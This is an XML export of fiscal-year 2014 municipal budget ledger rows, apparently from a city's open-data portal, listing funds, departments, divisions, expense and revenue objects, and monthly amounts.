<row _id="11139"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-8479.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8479.0</total></row>
<row _id="11140"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400860.0</object><object_description>ST GAS TAX APPORTIONMENT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-2395940.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2395940.0</total></row>
<row _id="11141"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402780.0</object><object_description>CASKET SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-100891.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100891.0</total></row>
<row _id="11142"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556190.0</object><object_description>MISC SERVICES/SALES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>34300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34300.0</total></row>
<row _id="11143"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404081.0</object><object_description>INTEREST - PROP 1B-SECURITY</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-10858.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10858.0</total></row>
<row _id="11144"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>407930.0</object><object_description>GARDENSOFT WEBSITE PARTNR FUND</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-7500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7500.0</total></row>
<row _id="11145"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407940.0</object><object_description>GREEN BUILDING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-187425.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-187425.0</total></row>
<row _id="11146"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1700383.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>24847</december><january>-4.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1725226.0</total></row>
<row _id="11147"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16719.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16719.0</total></row>
<row _id="11148"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1566.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1566.0</total></row>
<row _id="11149"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="11150"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1568.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1568.0</total></row>
<row _id="11151"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>556010.0</object><object_description>UTILITY CONTRACTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>273166.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>273166.0</total></row>
<row _id="11152"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>46469.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>46469.0</total></row>
<row _id="11153"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10364.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10364.0</total></row>
<row _id="11154"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>76030.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>76030.0</total></row>
<row _id="11155"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>187274.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>187274.0</total></row>
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<row _id="11177"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12088.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12088.0</total></row>
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<row _id="11179"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>76815.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>76815.0</total></row>
<row _id="11180"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>276.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>276.0</total></row>
<row _id="11181"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29463.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29463.0</total></row>
<row _id="11182"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1764.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1764.0</total></row>
<row _id="11183"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="11184"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3651.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3651.0</total></row>
<row _id="11185"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2018.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2018.0</total></row>
<row _id="11186"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>775.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>775.0</total></row>
<row _id="11187"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6424.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6424.0</total></row>
<row _id="11188"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556110.0</object><object_description>DECEDENT TRANSPORTION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="11189"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="11190"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14101.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14101.0</total></row>
<row _id="11191"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>188531.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>188531.0</total></row>
<row _id="11192"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5132.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>13.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5145.0</total></row>
<row _id="11193"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6914.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6914.0</total></row>
<row _id="11194"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>413.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>413.0</total></row>
<row _id="11195"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="11196"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1944.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1944.0</total></row>
<row _id="11197"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533280.0</object><object_description>AVIATION MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>143500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>143500.0</total></row>
<row _id="11198"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533290.0</object><object_description>LANDSCAPE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25600.0</total></row>
<row _id="11199"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-402557.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-402557.0</total></row>
<row _id="11200"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402700.0</object><object_description>REGULAR FUEL-DEPT USAGE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-450000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-450000.0</total></row>
<row _id="11201"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2073816.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>34817</december><january>4930.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2113563.0</total></row>
<row _id="11202"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29601.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>439</december><january>98.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30138.0</total></row>
<row _id="11203"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3873.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3873.0</total></row>
<row _id="11204"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1992.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1992.0</total></row>
<row _id="11205"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>49261.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49261.0</total></row>
<row _id="11206"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>148625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>148625.0</total></row>
<row _id="11207"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>51250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51250.0</total></row>
<row _id="11208"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16318.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16318.0</total></row>
